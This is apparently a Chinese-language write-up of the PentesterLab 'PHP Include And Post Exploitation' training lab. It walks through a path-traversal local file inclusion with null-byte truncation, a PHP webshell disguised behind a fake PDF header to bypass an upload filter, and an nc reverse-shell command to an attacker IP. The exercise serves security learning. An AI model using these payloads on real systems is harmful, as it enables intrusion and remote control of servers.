PentesterLab-PHP Include And Post Exploitation
一、打开页面,看到这么个页面,按照惯例随手点一点

二、Login处显然是一个后台登录页面,但前提是的有账号密码,看了下Submit这个页面,发现url中有个page参数
三、nikto跑一下这个页面。里面有这么一条信息很有意思
+ /index.php?page=../../../../../../../../../../etc/passwd: PHP include error may indicate local or remote file inclusion is possible.
看样子这个地方可能存在文件包含,把nikto这个结果拿过去请求一下

发现确实有个include函数,但是里面的文件名后面自动添加了一个.php,想到可以%00截断,请求以下链接,显示除了passwd文件内容,看来没有做限制,下面就去找利用点
/index.php?page=../../../../../../../../../../etc/passwd%00
四、这里有个提交功能,写了一个简单地php 一句话木马,放到test.php直接上传,提示只能是PDF文件
试着抓包修改后缀名和Content-Type,都无法上传,看来服务端可能是判断了文件头经过多次尝试发现,只有当后缀名为.pdf且文件头也为pdf文件头时,才能上传。创建test.pdf文件,内容如下
%PDF-1.5
<?php system($_GET['cmd']);?>
成功上传,这里文件第一行用于伪造pdf文件头。
五、用上传时的用户名密码登录后台,看到上传的pdf下载链接,上传到了uploads目录,复制,回到最开始的页面,page参数改为这个链接,成功包含文件,但出现报错,缺少cmd参数
http://192.168.109.131/index.php?page=uploads/k.pdf%00

六、带上cmd参数,向我们的服务器反弹一个shell回来
/index.php?page=uploads/k.pdf%&cmd=nc%20x.x.x.x%%-e%/bin/bash
成功getshell
PentesterLab-PHP Include And Post Exploitation的更多相关文章
- PentesterLab渗透演练平台
转载自: https://www.blackh4t.org/archives/1143.html http://www.91ri.org/5958.html 1. 什么是WebApp Pen ...
- Full exploitation of a cluster hardware configuration requires some enhancements to a single-system operating system.
COMPUTER ORGANIZATION AND ARCHITECTURE DESIGNING FOR PERFORMANCE NINTH EDITION Operating System Desi ...
- [转]Adventures in Xen exploitation
Source:https://www.nccgroup.com/en/blog/2015/02/adventures-in-xen-exploitation/ tl;dr This post is ...
- ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)
ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728) By Perception Point Resear ...
- Web for pentester_writeup之File Include篇
Web for pentester_writeup之File Include篇 File Include(文件包涵) Example 1 加一个单引号 从报错中我们可以获取如下信息: 当前文件执行的代 ...
- OSCP Learning Notes - Post Exploitation(1)
Linux Post Exploitation Target Sever: Kioptrix Level 1 1. Search the payloads types. msfvenom -l pay ...
- 浅谈JSP中include指令与include动作标识的区别
JSP中主要包含三大指令,分别是page,include,taglib.本篇主要提及include指令. include指令使用格式:<%@ include file="文件的绝对路径 ...
- Entity Framework 6 Recipes 2nd Edition(13-9)译 -> 避免Include
问题 你想不用Include()方法,立即加载一下相关的集合,并想通过EF的CodeFirst方式实现. 解决方案 假设你有一个如Figure 13-14所示的模型: Figure 13-14. A ...
- error RC1015: cannot open include file 'afxres.h' 解决办法
在为WindowsPhone8程序添加本地化的过程中遇到这个问题: 问题原因就是afxres.h文件缺失,下载它,放到VS安装目录下的VS\include目录下就可以了(选择目录的时候注意对应对版本) ...
随机推荐
- H5 播放视频常见bug及解决方案
本文摘自:本文来自“小时光茶社(Tech Teahouse)”公众号 原文:https://mp.weixin.qq.com/s/MM5ZwCiWLAeHalsNYMImnw 1. 自动播放问题 通过 ...
- 20145312 实验五 《Java网络编程》
20145312 实验五<Java网络编程> 一. 实验内容及要求 实验内容: 运行下载的TCP代码,结对进行,一人服务器,一人客户端: 利用加解密代码包,编译运行代码,一人加密,一人解密 ...
- iOS开发进阶 - 自定义UICollectionViewLayout实现瀑布流布局
移动端访问不佳,请访问我的个人博客 最近项目中需要用到瀑布流的效果,但是用UICollectionViewFlowLayout又达不到效果,自己动手写了一个瀑布流的layout,下面是我的心路路程 先 ...
- 数据结构实习 Problem H 迷宫的最短路径
数据结构实习 Problem H 迷宫的最短路径 题目描述 设计一个算法找一条从迷宫入口到出口的最短路径. 输入 迷宫的行和列m n 迷宫的布局 输出 最短路径 样例输入 6 8 0 1 1 1 0 ...
- C语言之浅析网络包解析
1.这几天研究skynet中的 lua-netpack.c 中的解析数据包过程.于是把lua部分去掉,修改了一些接口,留下解包相关的代码.再结合云风写的网络代码的例子, 写了一个最简单形式的客户端封包 ...
- consul 小結
Consul Config 使用Git做版本控制的实现 https://segmentfault.com/a/1190000013807641 服务发现 - consul 的介绍.部署和使用 http ...
- linux安装数据库删除
https://blog.csdn.net/qq_40550973/article/details/80721014 卸载mysql .快速删除 yum remove mysql mysql-serv ...
- FontAwesome::Sass(5.x版)使用帮助。
FontAwesome::Sass(5.x版) https://fontawesome.com/icons?d=gallery&m=free 只能使用免费的. 在app/assets/styl ...
- 微信小程序-----安装,编写第一个小程序和运行到手机端
第一步: 微信公众平台注册账号,并选择小程序,网址:mp.weixin.qq.com 填写相关信息,如:主体类型(个人或者企业) AppID 在开发中都是用的到的,服务器域名在网络请求也是用的到的. ...
- MySQL设置某一字段默认为0,但是插入数据化却显示为null
1.MySQL字段默认的含义:在插入时不指定该字段的值:2.以mybatis举例,如果是插入实体,那么为空的字段就会插入空:3.如果不想mybatis等持久化工具插入空,可以尝试insertSelec ...